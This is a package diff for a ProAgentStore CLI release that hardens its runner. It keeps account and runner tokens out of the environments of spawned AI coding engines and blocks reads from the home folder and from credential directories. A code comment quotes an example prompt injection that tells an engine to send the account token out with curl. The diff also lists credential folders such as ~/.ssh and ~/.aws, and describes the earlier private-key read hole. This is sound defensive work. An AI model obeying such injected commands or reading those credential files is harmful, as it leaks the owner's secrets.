@proagentstore/cli 0.4.154 → 0.4.156

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6,12 +6,29 @@
6
6
  * `headless.ts` sat one line under its size pin — so the concern gets a file rather than the pin
7
7
  * getting a raise. `engine-auth.ts` READS this env; this builds it.
8
8
  *
9
- * 1. {@link mergeEnv} — the platform's overlay over the machine's, where empty means REMOVE.
9
+ * 1. {@link mergeEnv} — the platform's overlay over the machine's, where empty means REMOVE, and
10
+ * never the platform's own credentials ({@link PLATFORM_CREDENTIAL_ENV}, #1163).
10
11
  * 2. {@link engineSpawnEnv} — that, plus the `gh` guard ahead of the real binary on `PATH`, and the
11
12
  * `git` stash guard (#1021) ahead of both.
12
13
  */
13
14
  import { ghGuardEnv } from "./gh-guard.js";
14
15
  import { gitGuardEnv } from "./git-guard.js";
16
+ /**
17
+ * The platform's own credentials, which no engine may inherit (#1163).
18
+ *
19
+ * An engine runs with its permission prompts off, on repositories and issues that carry untrusted
20
+ * text, so a prompt injection ("run `curl -d $PAGS_TOKEN …`") gets whatever its environment holds.
21
+ * `PAGS_TOKEN` is the owner's 30-day ACCOUNT session — every agent, and through relay-token minting
22
+ * every machine. `PAGS_RUNNER_TOKEN` is this runtime's own bearer and `PAGS_RUNNER_CONTROL_NONCE` its
23
+ * shutdown credential. None of them is the engine's to use.
24
+ */
25
+ export const PLATFORM_CREDENTIAL_ENV = ["PAGS_TOKEN", "PAGS_RUNNER_TOKEN", "PAGS_RUNNER_CONTROL_NONCE"];
26
+ /** `env` without {@link PLATFORM_CREDENTIAL_ENV}, in place — what the runtime does to its own env at start. */
27
+ export function dropPlatformCredentials(env) {
28
+ for (const name of PLATFORM_CREDENTIAL_ENV)
29
+ delete env[name];
30
+ return env;
31
+ }
15
32
  /**
16
33
  * Merge the platform's resolved engine env over the machine's, where an EMPTY value means
17
34
  * REMOVE rather than "set to empty".
@@ -30,7 +47,9 @@ export function mergeEnv(base, overlay) {
30
47
  else
31
48
  out[k] = v;
32
49
  }
33
- return out;
50
+ // Every engine's env is built here — coding, local-browser, local-artifact — so this is the one place
51
+ // the platform's credentials are kept out of all of them, whatever the machine or an overlay holds (#1163).
52
+ return dropPlatformCredentials(out);
34
53
  }
35
54
  /**
36
55
  * The env a turn is spawned with: the merged env, with the `gh` write guard on `PATH` when the
@@ -1,3 +1,4 @@
1
+ import { confineWorkDir } from "./workdir-guard.js";
1
2
  import { actDigest } from "./input-ledger.js";
2
3
  import { parkRestore, parkSnapshot } from "./park-snapshot.js";
3
4
  import { runObjective } from "./run-objective.js";
@@ -84,21 +85,26 @@ export class CodingRuntime {
84
85
  * workDir (authoritative even for managed clone dirs); fall back to an explicit path
85
86
  * (the cloud passes the D1 `repo.workdir` when the session map is empty after a runner
86
87
  * restart). Expands a leading `~` the same way start() does.
88
+ *
89
+ * An explicit path is CONFINED (#1165): never the home folder or above it, never inside a
90
+ * credential directory — so `{ workDir: "~", path: ".ssh/id_ed25519" }` is refused rather
91
+ * than a confined read of a private key. See `workdir-guard.ts`.
87
92
  */
88
93
  resolveWorkDir(input) {
89
94
  if (input.sessionId) {
90
95
  const s = this.sessions.get(input.sessionId);
96
+ // The session's own folder answers to the same rule: a session started in `~` must not reopen it.
91
97
  if (s)
92
- return s.config.workDir;
98
+ return confineWorkDir(s.config.workDir, { allow: [this.reposBaseDir] });
93
99
  }
94
100
  if (input.workDir)
95
- return resolve(input.workDir.replace(/^~(?=$|\/)/, homedir()));
101
+ return confineWorkDir(input.workDir, { allow: [this.reposBaseDir] });
96
102
  throw new InspectError("no session or workDir to inspect");
97
103
  }
98
104
  /** Where a parked run's checkout is (#1077): its declared folder, else the managed clone dir `start()` uses. */
99
105
  parkWorkDir(input) {
100
106
  if (input.workDir)
101
- return resolve(input.workDir.replace(/^~(?=$|\/)/, homedir()));
107
+ return confineWorkDir(input.workDir, { allow: [this.reposBaseDir] });
102
108
  if (input.repoId)
103
109
  return join(this.reposBaseDir, sanitizeSessionName(input.repoId));
104
110
  throw new InspectError("no workDir or repoId for the parked checkout");
@@ -1,7 +1,8 @@
1
- import { closeSync, constants, fsyncSync, lstatSync, mkdirSync, openSync, readFileSync, renameSync, rmSync, statSync, writeSync } from "node:fs";
1
+ import { closeSync, constants, fsyncSync, lstatSync, mkdirSync, openSync, readFileSync, renameSync, rmSync, writeSync } from "node:fs";
2
2
  import { homedir } from "node:os";
3
3
  import { basename, dirname, isAbsolute, join, resolve } from "node:path";
4
4
  import { RunnerInputError } from "../errors.js";
5
+ import { isWithin, realPathOf } from "./workdir-guard.js";
5
6
  /**
6
7
  * The runner's half of the machine-to-machine secret handoff (#918): read a secret file so the
7
8
  * cloud can encrypt it, and write one back from the cloud's decrypted copy.
@@ -18,23 +19,44 @@ import { RunnerInputError } from "../errors.js";
18
19
  */
19
20
  /** Big enough for any `.env`, key file or credentials JSON; small enough that this is not a file-transfer tool. */
20
21
  export const SECRET_MAX_BYTES = 64 * 1024;
21
- /** `~` expanded; a relative path resolves against the home directory, which is where `pags up` users name things from. */
22
- function resolvePath(raw) {
22
+ /**
23
+ * The ONE folder the secret handoff reads from and writes to (#1165).
24
+ *
25
+ * It used to take any path the owner's account could reach: `/secure/read` would hand over
26
+ * `~/.ssh/id_ed25519`, and `/secure/write` with `overwrite: true` could replace `~/.ssh/authorized_keys`.
27
+ * Now a relative path is relative to this folder, and an absolute or `~/…` path must already be inside
28
+ * it, resolved through symlinks, so a link planted in it cannot point back out. Moving a delivered
29
+ * file to where it is used is the operator's step, in the open.
30
+ */
31
+ export function secureFilesDir(home = homedir()) {
32
+ return join(home, ".config", "proagentstore", "secure-files");
33
+ }
34
+ /** `~` expanded; relative to {@link secureFilesDir}; refused unless it stays inside that folder. */
35
+ function resolvePath(raw, home = homedir()) {
23
36
  const p = String(raw ?? "").trim();
24
37
  if (!p)
25
38
  throw new RunnerInputError("A `path` is required.");
26
- const expanded = p.replace(/^~(?=$|\/)/, homedir());
27
- return isAbsolute(expanded) ? resolve(expanded) : resolve(homedir(), expanded);
39
+ const root = secureFilesDir(home);
40
+ const expanded = p.replace(/^~(?=$|\/)/, home);
41
+ const path = isAbsolute(expanded) ? resolve(expanded) : resolve(root, expanded);
42
+ mkdirSync(root, { recursive: true, mode: 0o700 });
43
+ if (path === root || !isWithin(realPathOf(path, home), realPathOf(root, home))) {
44
+ throw new RunnerInputError(`${p} is outside ${root}. The secret handoff reads and writes only inside that folder — name a file there, e.g. \`app.env\`.`);
45
+ }
46
+ return path;
28
47
  }
29
- export function readSecretFile(input) {
30
- const path = resolvePath(input.path);
48
+ export function readSecretFile(input, home = homedir()) {
49
+ const path = resolvePath(input.path, home);
31
50
  let st;
32
51
  try {
33
- st = statSync(path);
52
+ st = lstatSync(path);
34
53
  }
35
54
  catch {
36
55
  throw new RunnerInputError(`No file at ${path}.`);
37
56
  }
57
+ // Not followed (#1165): a symlink in the folder would read whatever it points at.
58
+ if (st.isSymbolicLink())
59
+ throw new RunnerInputError(`${path} is a symbolic link; the secret handoff reads regular files only.`);
38
60
  if (!st.isFile())
39
61
  throw new RunnerInputError(`${path} is not a regular file.`);
40
62
  if (st.size === 0)
@@ -63,8 +85,8 @@ function parseMode(raw) {
63
85
  throw new RunnerInputError(`mode ${s} is group/world-writable or executable; a secret file must not be.`);
64
86
  return mode;
65
87
  }
66
- export function writeSecretFile(input) {
67
- const path = resolvePath(input.path);
88
+ export function writeSecretFile(input, home = homedir()) {
89
+ const path = resolvePath(input.path, home);
68
90
  if (typeof input.value !== "string" || !input.value)
69
91
  throw new RunnerInputError("Nothing to write.");
70
92
  const mode = parseMode(input.mode);
@@ -0,0 +1,80 @@
1
+ /**
2
+ * What a caller-supplied `workDir` may be (#1165).
3
+ *
4
+ * The read-only inspection routes (`read-file`, `tree`, `search`, `git`) confine every PATH to the
5
+ * `workDir` — but took the `workDir` itself from the request. `{ workDir: "~", path: ".ssh/id_ed25519" }`
6
+ * was a perfectly confined read of a private key. The cloud sends the owner's registered repo folder
7
+ * (`coding_repos.workdir`), and registration accepts any local path, `~` included; this runner has no
8
+ * copy of that registry to check against. So it refuses what can never be a repository it should
9
+ * read inside, whoever asked:
10
+ *
11
+ * • the filesystem root, the home folder, or any folder ABOVE the home folder — a root that holds
12
+ * everything the owner has;
13
+ * • a folder inside a credential directory ({@link CREDENTIAL_DIRS}) — `~/.ssh`, `~/.gnupg`, the
14
+ * cloud CLIs' config, and ProAgentStore's own (`~/.config/proagentstore`, which holds the account
15
+ * session), except the managed clones the runner itself makes there.
16
+ *
17
+ * Resolved through symlinks first (the nearest existing ancestor, for a folder a clone will create), so
18
+ * `~/dev/innocent -> ~/.ssh` is the credential directory it points at.
19
+ */
20
+ import { existsSync, realpathSync } from "node:fs";
21
+ import { homedir } from "node:os";
22
+ import { basename, dirname, isAbsolute, join, relative, resolve } from "node:path";
23
+ import { InspectError } from "./inspect.js";
24
+ /** Folders under the home folder whose contents are credentials, never a repository to read. */
25
+ export const CREDENTIAL_DIRS = [
26
+ ".ssh",
27
+ ".gnupg",
28
+ ".aws",
29
+ ".azure",
30
+ ".kube",
31
+ ".docker",
32
+ ".password-store",
33
+ ".config/gcloud",
34
+ ".config/gh",
35
+ ".config/proagentstore",
36
+ "Library/Keychains",
37
+ ];
38
+ /** `~` expanded; resolved through symlinks as far as the path exists. */
39
+ export function realPathOf(raw, home = homedir()) {
40
+ const expanded = raw.trim().replace(/^~(?=$|[\\/])/, home);
41
+ let p = resolve(isAbsolute(expanded) ? expanded : join(home, expanded));
42
+ const tail = [];
43
+ while (!existsSync(p)) {
44
+ const up = dirname(p);
45
+ if (up === p)
46
+ break;
47
+ tail.unshift(basename(p));
48
+ p = up;
49
+ }
50
+ let real = p;
51
+ try {
52
+ real = realpathSync(p);
53
+ }
54
+ catch {
55
+ // Unreadable: judge the path as written.
56
+ }
57
+ return tail.length ? join(real, ...tail) : real;
58
+ }
59
+ /** Is `child` the same as `parent` or inside it? */
60
+ export function isWithin(child, parent) {
61
+ const rel = relative(parent, child);
62
+ return rel === "" || (!!rel && !rel.startsWith("..") && !isAbsolute(rel));
63
+ }
64
+ /**
65
+ * The `workDir` a request may name, or an {@link InspectError} saying why not. `allow` lists folders the
66
+ * runner itself manages inside a credential directory — the managed clone root — which stay usable.
67
+ */
68
+ export function confineWorkDir(raw, opts = {}) {
69
+ const home = realPathOf(opts.home ?? homedir(), opts.home ?? homedir());
70
+ const path = realPathOf(raw, opts.home ?? homedir());
71
+ if (isWithin(home, path)) {
72
+ throw new InspectError(`"${raw}" is ${path === home ? "the home folder" : "a folder that contains the home folder"}, not a repository — register the repository's own folder.`);
73
+ }
74
+ if ((opts.allow ?? []).some((a) => isWithin(path, realPathOf(a, home))))
75
+ return path;
76
+ const credential = CREDENTIAL_DIRS.find((d) => isWithin(path, realPathOf(join(home, d), home)));
77
+ if (credential)
78
+ throw new InspectError(`"${raw}" is inside ~/${credential}, which holds credentials — it cannot be read as a repository.`);
79
+ return path;
80
+ }
@@ -5,6 +5,7 @@ import { CrashLog, crashReport, describeError, installCrashHandlers, runtimeCras
5
5
  import { startRunnerServer } from "./server.js";
6
6
  import { reapOnStartup } from "./reaper.js";
7
7
  import { randomUUID } from "node:crypto";
8
+ import { dropPlatformCredentials } from "./coding/engine-env.js";
8
9
  function arg(name, fallback) {
9
10
  const index = process.argv.indexOf(name);
10
11
  if (index === -1)
@@ -58,6 +59,9 @@ Endpoints:
58
59
  process.exit(0);
59
60
  }
60
61
  const config = configFromArgs();
62
+ // Read, so out of the environment (#1163): nothing this runtime spawns — engines, git, gh, a browser —
63
+ // inherits the account session or this runtime's own bearer and shutdown credential.
64
+ dropPlatformCredentials(process.env);
61
65
  // Resilience: a stray error in any runtime must NOT take the whole runner down —
62
66
  // that drops the tunnel and forces the user to restart `pags up` (and lose their
63
67
  // session). Keep serving. Per-component handlers catch most things; this is the
package/dist/index.js CHANGED
@@ -875,24 +875,43 @@ async function defaultAsk(question) {
875
875
 
876
876
  // src/commands/runner/http.ts
877
877
  import { hostname as hostname3 } from "os";
878
+
879
+ // src/commands/runner/session-token.ts
880
+ var held = null;
878
881
  function clean(value) {
882
+ return (value ?? "").trim();
883
+ }
884
+ function takeSessionTokenFromEnv(env = process.env) {
885
+ const token = clean(env.PAGS_TOKEN);
886
+ if (token) held = token;
887
+ delete env.PAGS_TOKEN;
888
+ }
889
+ function holdSessionToken(token) {
890
+ held = clean(token) || held;
891
+ }
892
+ function sessionToken(explicit) {
893
+ return clean(explicit) || clean(held) || clean(process.env.PAGS_TOKEN) || clean(loadSession()?.token);
894
+ }
895
+
896
+ // src/commands/runner/http.ts
897
+ function clean2(value) {
879
898
  const trimmed = value?.trim();
880
899
  return trimmed || void 0;
881
900
  }
882
901
  function runnerBaseUrl(url) {
883
- return (clean(url) || clean(process.env.PAGS_RUNNER_URL) || "http://127.0.0.1:49171").replace(/\/$/, "");
902
+ return (clean2(url) || clean2(process.env.PAGS_RUNNER_URL) || "http://127.0.0.1:49171").replace(/\/$/, "");
884
903
  }
885
904
  function pagsApiBase(url) {
886
- return (clean(url) || clean(process.env.PAGS_API_BASE) || "https://api.proagentstore.online").replace(/\/$/, "");
905
+ return (clean2(url) || clean2(process.env.PAGS_API_BASE) || "https://api.proagentstore.online").replace(/\/$/, "");
887
906
  }
888
907
  function pagsHeaders(token) {
889
- const resolved = clean(token) || clean(process.env.PAGS_TOKEN) || clean(loadSession()?.token);
908
+ const resolved = sessionToken(token);
890
909
  return resolved ? { Authorization: `Bearer ${resolved}` } : {};
891
910
  }
892
911
  function runnerRequestHeaders(opts) {
893
- const resolved = clean(opts.token) || clean(process.env.PAGS_RUNNER_TOKEN);
912
+ const resolved = clean2(opts.token) || clean2(process.env.PAGS_RUNNER_TOKEN);
894
913
  const headers = resolved ? { Authorization: `Bearer ${resolved}` } : {};
895
- const instanceId = clean(opts.instanceId) || clean(process.env.PAGS_INSTANCE_ID);
914
+ const instanceId = clean2(opts.instanceId) || clean2(process.env.PAGS_INSTANCE_ID);
896
915
  if (instanceId) headers["X-PAGS-Instance-Id"] = instanceId;
897
916
  return headers;
898
917
  }
@@ -903,11 +922,11 @@ function buildRuntimeRegistrationBody(opts, capabilities = []) {
903
922
  const node = hostname3();
904
923
  const machine = loadMachineIdentity(node);
905
924
  return {
906
- endpointUrl: clean(opts.endpointUrl) || opts.endpointUrl,
907
- token: clean(opts.runnerToken) || clean(opts.token) || clean(process.env.PAGS_RUNNER_TOKEN),
925
+ endpointUrl: clean2(opts.endpointUrl) || opts.endpointUrl,
926
+ token: clean2(opts.runnerToken) || clean2(opts.token) || clean2(process.env.PAGS_RUNNER_TOKEN),
908
927
  placement: opts.placement === "managed" ? "managed" : "local",
909
928
  capabilities,
910
- runnerVersion: clean(opts.runnerVersion) || "",
929
+ runnerVersion: clean2(opts.runnerVersion) || "",
911
930
  runnerNode: node,
912
931
  machineId: machine.id,
913
932
  machineNames: machine.names
@@ -1284,11 +1303,11 @@ async function findFreePort2(start) {
1284
1303
  }
1285
1304
  function buildRunnerArgs(opts) {
1286
1305
  const args = [];
1287
- if (clean(opts.host)) args.push("--host", clean(opts.host));
1288
- if (clean(opts.port)) args.push("--port", clean(opts.port));
1289
- if (clean(opts.dataDir)) args.push("--data-dir", clean(opts.dataDir));
1290
- if (clean(opts.token)) args.push("--token", clean(opts.token));
1291
- if (clean(opts.instanceId)) args.push("--instance-id", clean(opts.instanceId));
1306
+ if (clean2(opts.host)) args.push("--host", clean2(opts.host));
1307
+ if (clean2(opts.port)) args.push("--port", clean2(opts.port));
1308
+ if (clean2(opts.dataDir)) args.push("--data-dir", clean2(opts.dataDir));
1309
+ if (clean2(opts.token)) args.push("--token", clean2(opts.token));
1310
+ if (clean2(opts.instanceId)) args.push("--instance-id", clean2(opts.instanceId));
1292
1311
  if (opts.headless) args.push("--headless");
1293
1312
  return args;
1294
1313
  }
@@ -1545,9 +1564,9 @@ function partitionByPin(instances, thisNode, alsoKnownAs = []) {
1545
1564
  for (const inst of instances) (isEligible(inst, thisNode, alsoKnownAs) ? here : elsewhere).push(inst);
1546
1565
  return { here, elsewhere };
1547
1566
  }
1548
- function pinnedAway(held, instances, thisNode, alsoKnownAs = []) {
1567
+ function pinnedAway(held2, instances, thisNode, alsoKnownAs = []) {
1549
1568
  const pins = new Map(instances.map((i) => [i.id, i.config?.runnerNode]));
1550
- return [...held].filter((id) => {
1569
+ return [...held2].filter((id) => {
1551
1570
  const pin = pins.get(id);
1552
1571
  return !!pin && pin !== thisNode && !alsoKnownAs.includes(pin);
1553
1572
  });
@@ -2567,7 +2586,7 @@ var MEMBERSHIP_SYNC_PATH = "/pags/membership/sync";
2567
2586
  var CLI_CONTROL_PATHS = /* @__PURE__ */ new Set([MEMBERSHIP_SYNC_PATH, RUNNER_UPDATE_PATH, RUNNER_RESTART_PATH]);
2568
2587
  async function connectViaRelay(instanceIds, localUrl, runnerToken, opts, force = false, watchInstances = false) {
2569
2588
  const apiBase = pagsApiBase(opts.apiBase).replace(/^http/, "ws");
2570
- const pagsToken = () => clean(opts.pagsToken) || clean(process.env.PAGS_TOKEN) || clean(loadSession()?.token);
2589
+ const pagsToken = () => sessionToken(opts.pagsToken);
2571
2590
  if (!pagsToken()) throw new Error("PAGS token required for WebSocket relay");
2572
2591
  const runnerNode = hostname5();
2573
2592
  const machine = loadMachineIdentity(runnerNode);
@@ -3154,18 +3173,18 @@ function clip(text, max) {
3154
3173
  return `${text.substring(0, max)}
3155
3174
  [cut: showing the first ${max} of ${text.length} characters]`;
3156
3175
  }
3157
- var clean2 = (value, max) => clip(maskSecrets(String(value ?? "")), max);
3176
+ var clean3 = (value, max) => clip(maskSecrets(String(value ?? "")), max);
3158
3177
  var shortId = (value) => typeof value === "string" && /^[A-Za-z0-9._:-]{1,128}$/.test(value) ? value : void 0;
3159
3178
  function describeError(error) {
3160
3179
  if (error instanceof Error) {
3161
3180
  const cause = error.cause;
3162
3181
  return {
3163
- message: clean2(`${error.name}: ${error.message}`, MAX_MESSAGE),
3164
- stack: error.stack ? clean2(error.stack, MAX_STACK) : void 0,
3165
- cause: cause === void 0 ? void 0 : clean2(cause instanceof Error ? `${cause.name}: ${cause.message}` : cause, MAX_MESSAGE)
3182
+ message: clean3(`${error.name}: ${error.message}`, MAX_MESSAGE),
3183
+ stack: error.stack ? clean3(error.stack, MAX_STACK) : void 0,
3184
+ cause: cause === void 0 ? void 0 : clean3(cause instanceof Error ? `${cause.name}: ${cause.message}` : cause, MAX_MESSAGE)
3166
3185
  };
3167
3186
  }
3168
- return { message: clean2(error, MAX_MESSAGE) };
3187
+ return { message: clean3(error, MAX_MESSAGE) };
3169
3188
  }
3170
3189
  function crashReport(input) {
3171
3190
  return {
@@ -3173,9 +3192,9 @@ function crashReport(input) {
3173
3192
  at: input.at ?? (/* @__PURE__ */ new Date()).toISOString(),
3174
3193
  source: input.source,
3175
3194
  kind: input.kind,
3176
- message: clean2(input.message, MAX_MESSAGE),
3177
- ...input.stack ? { stack: clean2(input.stack, MAX_STACK) } : {},
3178
- ...input.cause ? { cause: clean2(input.cause, MAX_MESSAGE) } : {},
3195
+ message: clean3(input.message, MAX_MESSAGE),
3196
+ ...input.stack ? { stack: clean3(input.stack, MAX_STACK) } : {},
3197
+ ...input.cause ? { cause: clean3(input.cause, MAX_MESSAGE) } : {},
3179
3198
  ...input.exitCode !== void 0 ? { exitCode: input.exitCode } : {},
3180
3199
  ...input.signal !== void 0 ? { signal: input.signal } : {},
3181
3200
  ...shortId(input.build) ? { build: input.build } : {},
@@ -3183,8 +3202,8 @@ function crashReport(input) {
3183
3202
  ...shortId(input.instanceId) ? { instanceId: input.instanceId } : {},
3184
3203
  ...shortId(input.sessionId) ? { sessionId: input.sessionId } : {},
3185
3204
  ...shortId(input.taskId) ? { taskId: input.taskId } : {},
3186
- ...input.route ? { route: clean2(input.route, 200) } : {},
3187
- ...input.tail?.length ? { tail: input.tail.slice(-20).map((line) => clean2(line, 300)) } : {}
3205
+ ...input.route ? { route: clean3(input.route, 200) } : {},
3206
+ ...input.tail?.length ? { tail: input.tail.slice(-20).map((line) => clean3(line, 300)) } : {}
3188
3207
  };
3189
3208
  }
3190
3209
  function writeJsonAtomic(path, data, mode = 384) {
@@ -3458,10 +3477,11 @@ function createRunnerCommand() {
3458
3477
  await startRunnerForeground(opts);
3459
3478
  });
3460
3479
  command.command("connect <instanceIds...>").description("Start ONE local runtime, connect via WebSocket relay, and register it for every given PAGS instance").option("--host <host>", "Host to bind", "127.0.0.1").option("--port <port>", "Port to bind", "49171").option("--data-dir <path>", "Runner data directory").option("--token <token>", "Runner bearer token. Defaults to PAGS_RUNNER_TOKEN or a generated token").option("--headless", "Run Playwright headless").option("--api-base <url>", "PAGS API base URL").option("--pags-token <token>", "PAGS session token. Defaults to PAGS_TOKEN").option("--runner-version <version>", "Runner version").option("--force", "Take over from another connected machine").option("--watch-instances", "Attach newly eligible agents while running, without a restart").action(async (instanceIds, opts) => {
3461
- const runnerToken = clean(opts.token) || clean(process.env.PAGS_RUNNER_TOKEN) || `pags_runner_${randomUUID4()}`;
3462
- const host = clean(opts.host) || "127.0.0.1";
3463
- const port = clean(opts.port) || String(await findFreePort2(49171));
3464
- const lockAccount = clean(process.env.PAGS_LOCK_ACCOUNT) || "";
3480
+ takeSessionTokenFromEnv();
3481
+ const runnerToken = clean2(opts.token) || clean2(process.env.PAGS_RUNNER_TOKEN) || `pags_runner_${randomUUID4()}`;
3482
+ const host = clean2(opts.host) || "127.0.0.1";
3483
+ const port = clean2(opts.port) || String(await findFreePort2(49171));
3484
+ const lockAccount = clean2(process.env.PAGS_LOCK_ACCOUNT) || "";
3465
3485
  let lockHeld = null;
3466
3486
  if (lockAccount) {
3467
3487
  const taken = await acquireLock({ account: lockAccount, node: hostname6(), machineId: loadMachineIdentity().id || null, version: CLI_VERSION, port: Number(port), runnerToken });
@@ -3505,7 +3525,7 @@ function createRunnerCommand() {
3505
3525
  });
3506
3526
  const deliver = async () => {
3507
3527
  if (!crashes) return;
3508
- const token = clean(opts.pagsToken) || clean(process.env.PAGS_TOKEN) || clean(loadSession()?.token);
3528
+ const token = sessionToken(opts.pagsToken);
3509
3529
  if (!token) return;
3510
3530
  const result = await deliverCrashReports({ apiBase: pagsApiBase(opts.apiBase), token, account: crashAccount, paths: crashes });
3511
3531
  if (result.delivered) writeLine(`Delivered ${result.delivered} crash report(s) to ProAgentStore.`);
@@ -3543,12 +3563,12 @@ function createRunnerCommand() {
3543
3563
  await connectViaRelay(instanceIds, localUrl, runnerToken, opts, Boolean(opts.force), Boolean(opts.watchInstances));
3544
3564
  void deliver().catch(() => void 0);
3545
3565
  setInterval(() => void deliver().catch(() => void 0), 5 * 6e4).unref();
3546
- if (!clean(opts.pagsToken)) {
3566
+ if (!clean2(opts.pagsToken)) {
3547
3567
  startSessionRefresh({
3548
3568
  apiBase: pagsApiBase(opts.apiBase),
3549
- token: () => clean(process.env.PAGS_TOKEN) || clean(loadSession()?.token) || null,
3569
+ token: () => sessionToken() || null,
3550
3570
  onRefreshed: (token, previous) => {
3551
- process.env.PAGS_TOKEN = token;
3571
+ holdSessionToken(token);
3552
3572
  const stored = loadSession();
3553
3573
  if (stored?.token === previous) saveSession({ ...stored, token, expiresAt: sessionExpiresAt(token) ?? stored.expiresAt });
3554
3574
  },
@@ -3738,8 +3758,8 @@ async function waitForBackgroundHolder(childPid, read, alive, opts = {}) {
3738
3758
  const deadline = Date.now() + (opts.timeoutMs ?? 3e4);
3739
3759
  while (Date.now() < deadline) {
3740
3760
  if (!alive(childPid)) return "exited";
3741
- const held = await read();
3742
- if (held.lock?.pid === childPid && held.verdict === "live") return "live";
3761
+ const held2 = await read();
3762
+ if (held2.lock?.pid === childPid && held2.verdict === "live") return "live";
3743
3763
  await sleep(opts.intervalMs ?? 500);
3744
3764
  }
3745
3765
  return alive(childPid) ? "timeout" : "exited";
@@ -3747,8 +3767,8 @@ async function waitForBackgroundHolder(childPid, read, alive, opts = {}) {
3747
3767
  async function waitUntilTakeable(read, opts = {}) {
3748
3768
  const deadline = Date.now() + (opts.timeoutMs ?? 15e3);
3749
3769
  for (; ; ) {
3750
- const held = await read();
3751
- if (!held.lock || isTakeable(held.verdict)) return true;
3770
+ const held2 = await read();
3771
+ if (!held2.lock || isTakeable(held2.verdict)) return true;
3752
3772
  if (Date.now() >= deadline) return false;
3753
3773
  await sleep(opts.intervalMs ?? 500);
3754
3774
  }
@@ -3785,8 +3805,8 @@ function describeStatus(lock, verdict, bg, now = Date.now()) {
3785
3805
  }
3786
3806
  var statusCommand = new Command9("status").description("Is a runner running on this machine for your account \u2014 and how was it started").action(async () => {
3787
3807
  const session = requireSession();
3788
- const held = await inspectHolder(lockPath(session.user.login));
3789
- const { running, lines } = describeStatus(held.lock, held.lock ? held.verdict : null, readBackgroundState(backgroundStatePath(session.user.login)));
3808
+ const held2 = await inspectHolder(lockPath(session.user.login));
3809
+ const { running, lines } = describeStatus(held2.lock, held2.lock ? held2.verdict : null, readBackgroundState(backgroundStatePath(session.user.login)));
3790
3810
  writeLine("");
3791
3811
  for (const line of lines) writeLine(` ${line}`);
3792
3812
  writeLine("");
@@ -4039,13 +4059,13 @@ async function startInBackground(start, deps = processDeps()) {
4039
4059
  const upArgs = restartUpArgs(start.opts);
4040
4060
  const env = {
4041
4061
  ...deps.env,
4042
- PAGS_TOKEN: start.session.token,
4043
4062
  PAGS_LOCK_ACCOUNT: account,
4044
4063
  [BACKGROUND_ENV]: "1",
4045
4064
  [BACKGROUND_LOG_ENV]: logPath,
4046
4065
  [RESTART_COMMAND_ENV]: backgroundRestartCommand(deps.execPath, start.runnerArgs[0], upArgs, deps.platform)
4047
4066
  };
4048
4067
  delete env.PAGS_UP_SUPERVISED;
4068
+ delete env.PAGS_TOKEN;
4049
4069
  deps.step("Starting the runner in the background\u2026", "wait");
4050
4070
  const pid = spawnDetached(deps.execPath, start.runnerArgs, env, logPath, deps.spawn);
4051
4071
  writeBackgroundState(backgroundStatePath(account, deps.env), {
@@ -4427,17 +4447,17 @@ var upCommand = new Command10("up").description("Start the browser runner for al
4427
4447
  printStep(`Connecting ${state.activeInstance}\u2026`, "wait");
4428
4448
  const lockFile = lockPath(session.user.login);
4429
4449
  if (unattended || opts.background && process.env[BACKGROUND_RESTART_ENV] === "1") await waitUntilTakeable(() => inspectHolder(lockFile), { timeoutMs: 6e4 });
4430
- const held = await inspectHolder(lockFile);
4431
- if (held.lock && !isTakeable(held.verdict)) {
4432
- logUpdateStep(`start: the lock is held by pid ${held.lock.pid} (${held.verdict})${opts.replace ? " \u2014 replacing it" : " \u2014 exiting"}`);
4450
+ const held2 = await inspectHolder(lockFile);
4451
+ if (held2.lock && !isTakeable(held2.verdict)) {
4452
+ logUpdateStep(`start: the lock is held by pid ${held2.lock.pid} (${held2.verdict})${opts.replace ? " \u2014 replacing it" : " \u2014 exiting"}`);
4433
4453
  if (!opts.replace) {
4434
4454
  clearScreen();
4435
4455
  printLogo(CLI_VERSION2);
4436
- for (const line of holderMessage(held.lock, held.verdict)) writeLine(` ${line}`);
4456
+ for (const line of holderMessage(held2.lock, held2.verdict)) writeLine(` ${line}`);
4437
4457
  writeLine("");
4438
4458
  process.exit(1);
4439
4459
  }
4440
- const replaced = await replaceHolder(held.lock, { now: opts.now === true });
4460
+ const replaced = await replaceHolder(held2.lock, { now: opts.now === true });
4441
4461
  if (!replaced.ok) {
4442
4462
  clearScreen();
4443
4463
  printLogo(CLI_VERSION2);
@@ -4461,7 +4481,9 @@ var upCommand = new Command10("up").description("Start the browser runner for al
4461
4481
  stdio: ["ignore", "pipe", "pipe"],
4462
4482
  // The child is the lock HOLDER (#896): it owns the relay sockets, so it is what a
4463
4483
  // contender must find and what `--replace` must be able to stop.
4464
- env: { ...process.env, PAGS_TOKEN: session.token, [SUPERVISED_ENV]: SUPERVISOR_RESTARTS, PAGS_LOCK_ACCOUNT: session.user.login }
4484
+ // No PAGS_TOKEN (#1163): the child reads session.json itself, so the account session is in no
4485
+ // environment its runtime and engines could inherit.
4486
+ env: { ...process.env, PAGS_TOKEN: void 0, [SUPERVISED_ENV]: SUPERVISOR_RESTARTS, PAGS_LOCK_ACCOUNT: session.user.login }
4465
4487
  });
4466
4488
  const logs = [];
4467
4489
  let childRsid = "";
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@proagentstore/cli",
3
- "version": "0.4.154",
3
+ "version": "0.4.156",
4
4
  "description": "CLI for creating, publishing, and running ProAgentStore agents",
5
5
  "license": "MIT",
6
6
  "type": "module",